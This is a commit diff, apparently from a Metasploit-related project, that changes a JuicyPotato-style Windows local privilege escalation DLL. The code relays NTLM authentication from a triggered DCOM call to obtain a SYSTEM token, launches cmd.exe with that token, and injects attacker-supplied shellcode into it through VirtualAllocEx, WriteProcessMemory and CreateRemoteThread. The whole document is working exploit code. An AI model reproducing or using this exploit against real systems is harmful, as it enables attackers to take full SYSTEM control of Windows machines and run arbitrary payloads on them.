feat: execute shellcode in the dll

GSoC/Meterpreter_Web_Console
phra 2019-01-11 16:28:30 +01:00
parent 7653d64c4a
commit 944bda316e
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
2 changed files with 939 additions and 746 deletions

View File

@ -22,6 +22,8 @@
#pragma comment (lib, "AdvApi32.lib") #pragma comment (lib, "AdvApi32.lib")
#pragma comment(lib, "userenv.lib") #pragma comment(lib, "userenv.lib")
//#define LOG 1
wchar_t *olestr; wchar_t *olestr;
wchar_t *g_port; wchar_t *g_port;
wchar_t *rpcserver; wchar_t *rpcserver;
@ -29,6 +31,10 @@ wchar_t *rpcport;
char dcom_port[12]; char dcom_port[12];
char dcom_ip[17]; char dcom_ip[17];
//{8BC3F05E-D86B-11D0-A075-00C04FB68820}
FILE* logFile;
static const char VERSION[] = "0.1"; static const char VERSION[] = "0.1";
BOOL TEST_mode = FALSE; BOOL TEST_mode = FALSE;
HANDLE elevated_token, duped_token; HANDLE elevated_token, duped_token;
@ -38,13 +44,6 @@ wchar_t *processtype = NULL;
wchar_t *processargs = NULL; wchar_t *processargs = NULL;
wchar_t *processname = NULL; wchar_t *processname = NULL;
VOID ExecutePayload(LPVOID lpPayload)
{
SetThreadToken(NULL, elevated_token);
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
}
int IsTokenSystem(HANDLE tok) int IsTokenSystem(HANDLE tok)
{ {
DWORD Size, UserSize, DomainSize; DWORD Size, UserSize, DomainSize;
@ -55,7 +54,14 @@ int IsTokenSystem(HANDLE tok)
Size = 0; Size = 0;
GetTokenInformation(tok, TokenUser, NULL, 0, &Size); GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
if (!Size) if (!Size)
{
#ifdef LOG
fprintf(logFile, "[-] Not SYSTEM\n");
fflush(logFile);
#endif
return FALSE; return FALSE;
}
User = (TOKEN_USER *)malloc(Size); User = (TOKEN_USER *)malloc(Size);
assert(User); assert(User);
@ -71,10 +77,23 @@ int IsTokenSystem(HANDLE tok)
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1; DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType); LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
free(sid); free(sid);
#ifdef LOG
printf("%S;%S\\%S\n", olestr, DomainName, UserName); fprintf(logFile, "%S;%S\\%S\n", olestr, DomainName, UserName);
fflush(logFile);
#endif
if (!_wcsicmp(UserName, L"SYSTEM")) if (!_wcsicmp(UserName, L"SYSTEM"))
{
#ifdef LOG
fprintf(logFile, "[+] SYSTEM\n");
fflush(logFile);
#endif
return 1; return 1;
}
#ifdef LOG
fprintf(logFile, "[-] Not SYSTEM\n");
fflush(logFile);
#endif
return 0; return 0;
} }
@ -169,7 +188,10 @@ int PotatoAPI::processNtlmBytes(char *bytes, int len) {
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc); negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
break; break;
default: default:
printf("Error - Unknown NTLM message type..."); #ifdef LOG
fprintf(logFile, "[-] Error - Unknown NTLM message type...\n");
fflush(logFile);
#endif
return -1; return -1;
break; break;
} }
@ -240,7 +262,10 @@ int PotatoAPI::startRPCConnection(void) {
// Initialize Winsock // Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) { if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult); #ifdef LOG
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
fflush(logFile);
#endif
return 1; return 1;
} }
@ -271,7 +296,10 @@ int PotatoAPI::startRPCConnection(void) {
iResult = getaddrinfo(myhost, myport, &hints, &result); iResult = getaddrinfo(myhost, myport, &hints, &result);
if (iResult != 0) { if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult); #ifdef LOG
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
fflush(logFile);
#endif
WSACleanup(); WSACleanup();
return 1; return 1;
} }
@ -281,7 +309,10 @@ int PotatoAPI::startRPCConnection(void) {
// Create a SOCKET for connecting to server // Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) { if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
fflush(logFile);
#endif
WSACleanup(); WSACleanup();
return 1; return 1;
} }
@ -298,7 +329,10 @@ int PotatoAPI::startRPCConnection(void) {
} }
if (ConnectSocket == INVALID_SOCKET) { if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n"); #ifdef LOG
fprintf(logFile, "[-] Unable to connect to server!\n");
fflush(logFile);
#endif
WSACleanup(); WSACleanup();
return 1; return 1;
} }
@ -321,7 +355,10 @@ int PotatoAPI::startRPCConnection(void) {
iResult = send(ConnectSocket, sendbuf, *len, 0); iResult = send(ConnectSocket, sendbuf, *len, 0);
if (iResult == SOCKET_ERROR) { if (iResult == SOCKET_ERROR) {
printf("RPC -> send failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ConnectSocket); closesocket(ConnectSocket);
WSACleanup(); WSACleanup();
return 0; return 0;
@ -333,17 +370,25 @@ int PotatoAPI::startRPCConnection(void) {
comSendQ->push(recvbuf); comSendQ->push(recvbuf);
} }
else if (iResult == 0) { else if (iResult == 0) {
printf("RPC-> Connection closed\n"); #ifdef LOG
fprintf(logFile, "RPC-> Connection closed\n");
fflush(logFile);
#endif
} }
else { else {
printf("RPC -> recv failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
return 0; return 0;
} }
} while (iResult > 0); } while (iResult > 0);
#ifdef LOG
fprintf(logFile, "last iResult:%d\n", iResult);
fflush(logFile);
#endif
//printf("last iResult:%d\n", iResult);
fflush(stdout);
// cleanup // cleanup
iResult = shutdown(ConnectSocket, SD_SEND); iResult = shutdown(ConnectSocket, SD_SEND);
closesocket(ConnectSocket); closesocket(ConnectSocket);
@ -366,7 +411,10 @@ int PotatoAPI::startCOMListener(void) {
// Initialize Winsock // Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) { if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult); #ifdef LOG
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
fflush(logFile);
#endif
return 1; return 1;
} }
@ -384,7 +432,10 @@ int PotatoAPI::startCOMListener(void) {
iResult = getaddrinfo(NULL, dcom_port, &hints, &result); iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
if (iResult != 0) { if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult); #ifdef LOG
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
fflush(logFile);
#endif
WSACleanup(); WSACleanup();
return 1; return 1;
} }
@ -395,7 +446,10 @@ int PotatoAPI::startCOMListener(void) {
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)); setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
if (ListenSocket == INVALID_SOCKET) { if (ListenSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
fflush(logFile);
#endif
freeaddrinfo(result); freeaddrinfo(result);
WSACleanup(); WSACleanup();
return 1; return 1;
@ -403,9 +457,15 @@ int PotatoAPI::startCOMListener(void) {
// Setup the TCP listening socket // Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
//printf("startCOMListener bindresult%d\n", iResult); #ifdef LOG
fprintf(logFile, "startCOMListener bindresult%d\n", iResult);
fflush(logFile);
#endif
if (iResult == SOCKET_ERROR) { if (iResult == SOCKET_ERROR) {
printf("bind failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
freeaddrinfo(result); freeaddrinfo(result);
closesocket(ListenSocket); closesocket(ListenSocket);
WSACleanup(); WSACleanup();
@ -416,7 +476,10 @@ int PotatoAPI::startCOMListener(void) {
iResult = listen(ListenSocket, SOMAXCONN); iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) { if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ListenSocket); closesocket(ListenSocket);
WSACleanup(); WSACleanup();
return 1; return 1;
@ -433,7 +496,10 @@ int PotatoAPI::startCOMListener(void) {
{ {
ClientSocket = accept(ListenSocket, NULL, NULL); ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) { if (ClientSocket == INVALID_SOCKET) {
printf("accept failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ListenSocket); closesocket(ListenSocket);
WSACleanup(); WSACleanup();
return 1; return 1;
@ -467,7 +533,10 @@ int PotatoAPI::startCOMListener(void) {
iSendResult = send(ClientSocket, sendbuf, *len, 0); iSendResult = send(ClientSocket, sendbuf, *len, 0);
if (iSendResult == SOCKET_ERROR) { if (iSendResult == SOCKET_ERROR) {
printf("COM -> send failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
exit(-11); exit(-11);
} }
@ -482,9 +551,14 @@ int PotatoAPI::startCOMListener(void) {
exit(-1); exit(-1);
} }
else { else {
if (!TEST_mode)
printf("COM -> recv failed with error: %d\n", WSAGetLastError());
if (!TEST_mode)
{
#ifdef LOG
fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
}
shutdown(ClientSocket, SD_SEND); shutdown(ClientSocket, SD_SEND);
WSACleanup(); WSACleanup();
@ -495,9 +569,15 @@ int PotatoAPI::startCOMListener(void) {
// shutdown the connection since we're done // shutdown the connection since we're done
iResult = shutdown(ClientSocket, SD_SEND); iResult = shutdown(ClientSocket, SD_SEND);
// printf("startCOMListener iResult ComLisetner:%d\n", iResult); #ifdef LOG
fprintf(logFile, "\nstartCOMListener iResult ComLisetner:%d\n", iResult);
fflush(logFile);
#endif
if (iResult == SOCKET_ERROR) { if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError()); #ifdef LOG
fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ClientSocket); closesocket(ClientSocket);
WSACleanup(); WSACleanup();
exit(-1); exit(-1);
@ -516,7 +596,10 @@ BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
if (!LookupPrivilegeValue(NULL, priv, &luid)) if (!LookupPrivilegeValue(NULL, priv, &luid))
{ {
printf("Priv Lookup FALSE\n"); #ifdef LOG
fprintf(logFile, "[-] Priv Lookup FALSE\n");
fflush(logFile);
#endif
return FALSE; return FALSE;
} }
@ -531,7 +614,10 @@ BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
(PTOKEN_PRIVILEGES)NULL, (PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) (PDWORD)NULL))
{ {
printf("Priv Adjust FALSE\n"); #ifdef LOG
fprintf(logFile, "[-] Priv Adjust FALSE\n");
fflush(logFile);
#endif
return FALSE; return FALSE;
} }
@ -631,10 +717,10 @@ int wmain(int argc, wchar_t** argv)
if (olestr == NULL) if (olestr == NULL)
olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}"; olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
exit(Juicy(NULL, FALSE)); exit(Juicy(NULL, FALSE, NULL, 0));
} }
int Juicy(wchar_t *clsid, BOOL brute) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength)
{ {
PotatoAPI* test = new PotatoAPI(); PotatoAPI* test = new PotatoAPI();
test->startCOMListenerThread(); test->startCOMListenerThread();
@ -643,8 +729,12 @@ int Juicy(wchar_t *clsid, BOOL brute)
olestr = clsid; olestr = clsid;
if (!TEST_mode) if (!TEST_mode)
printf("Testing %S %S\n", olestr, g_port); {
#ifdef LOG
fprintf(logFile, "Testing %S %S\n", olestr, g_port);
fflush(logFile);
#endif
}
test->startRPCConnectionThread(); test->startRPCConnectionThread();
test->triggerDCOM(); test->triggerDCOM();
@ -656,18 +746,27 @@ int Juicy(wchar_t *clsid, BOOL brute)
if (test->negotiator->authResult != -1) if (test->negotiator->authResult != -1)
{ {
HANDLE hToken; HANDLE hToken;
TOKEN_PRIVILEGES tkp; TOKEN_PRIVILEGES tkp;
SECURITY_DESCRIPTOR sdSecurityDescriptor; SECURITY_DESCRIPTOR sdSecurityDescriptor;
if (!TEST_mode) if (!TEST_mode)
printf("\n[+] authresult %d\n", test->negotiator->authResult); {
#ifdef LOG
fflush(stdout); fprintf(logFile, "\n[+] authresult %d\n", test->negotiator->authResult);
fflush(logFile);
#endif
}
// Get a token for this process. // Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(), if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken))return 0; TOKEN_ALL_ACCESS, &hToken))
{
#ifdef LOG
fprintf(logFile, "[-] Exit OpenProcessToken\n");
fflush(logFile);
#endif
return 0;
}
//enable privileges //enable privileges
EnablePriv(hToken, SE_IMPERSONATE_NAME); EnablePriv(hToken, SE_IMPERSONATE_NAME);
@ -680,6 +779,70 @@ int Juicy(wchar_t *clsid, BOOL brute)
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token); QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
IsTokenSystem(elevated_token); IsTokenSystem(elevated_token);
result = DuplicateTokenEx(elevated_token,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token);
PROCESS_INFORMATION pi;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
memset(&pi, 0x00, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = L"winsta0\\default";
result = CreateProcessWithTokenW(duped_token,
0,
L"cmd.exe",
NULL,
0,
NULL,
NULL,
&si,
&pi);
if (!result)
{
#ifdef LOG
fprintf(logFile, "\n[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError());
fflush(logFile);
#endif
}
else
{
#ifdef LOG
fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n");
fprintf(logFile, "Payload length = %d\n", lPayloadLength);
fflush(logFile);
#endif
LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpnumber = 0;
BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
#ifdef LOG
fprintf(logFile, "WriteProcessResult: %d lpnumber = %d\n", b, lpnumber);
fflush(logFile);
#endif
HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);
if (h == NULL)
{
#ifdef LOG
fprintf(logFile, "Failed to execute shellcode\n");
fflush(logFile);
#endif
}
}
break;
}//end auth }//end auth
} }
return result; return result;
@ -687,29 +850,59 @@ int Juicy(wchar_t *clsid, BOOL brute)
void EntryPoint(LPVOID lpReserved) void EntryPoint(LPVOID lpReserved)
{ {
BOOL brute = FALSE; #ifdef LOG
int offset = 0; logFile = fopen("C:\\Users\\Public\\juicy.txt", "w");
wchar_t clsid[100]; #endif
wchar_t gport[100];
wchar_t gserver[100];
wchar_t server[100];
wchar_t port[100];
wchar_t gip[100];
mbstowcs(clsid, (char*)lpReserved, 100);
olestr = clsid;
offset += wcslen(clsid) + 1;
mbstowcs(gport, ((char*)lpReserved) + offset, 100);
g_port = gport;
offset += wcslen(gport) + 1;
mbstowcs(server, ((char*)lpReserved) + offset, 100);
rpcserver = server;
offset += wcslen(server) + 1;
mbstowcs(port, ((char*)lpReserved) + offset, 100);
rpcport = port;
offset += wcslen(port) + 1;
mbstowcs(gip, ((char*)lpReserved) + offset, 100);
memset(dcom_ip, 0, 17);
wcstombs(dcom_ip, gip, wcslen(gip));
Juicy(olestr, brute); BOOL brute = FALSE;
int len;
long payloadLength;
char *buff = (char *)lpReserved;
len = strlen(buff) + 1;
olestr = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(olestr, buff, len);
buff += len;
len = strlen(buff) + 1;
g_port = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(g_port, buff, len);
buff += len;
len = strlen(buff) + 1;
rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(rpcserver, buff, len);
buff += len;
len = strlen(buff) + 1;
rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(rpcport, buff, len);
buff += len;
len = strlen(buff) + 1;
strcpy(dcom_ip, buff);
buff += len;
len = strlen(buff) + 1;
payloadLength = atol(buff);
buff += len;
Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength);
free(olestr);
free(g_port);
free(rpcserver);
free(rpcport);
#ifdef LOG
fclose(logFile);
#endif
} }

View File

@ -28,4 +28,4 @@ public:
}; };
extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved); extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved);
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute); extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength);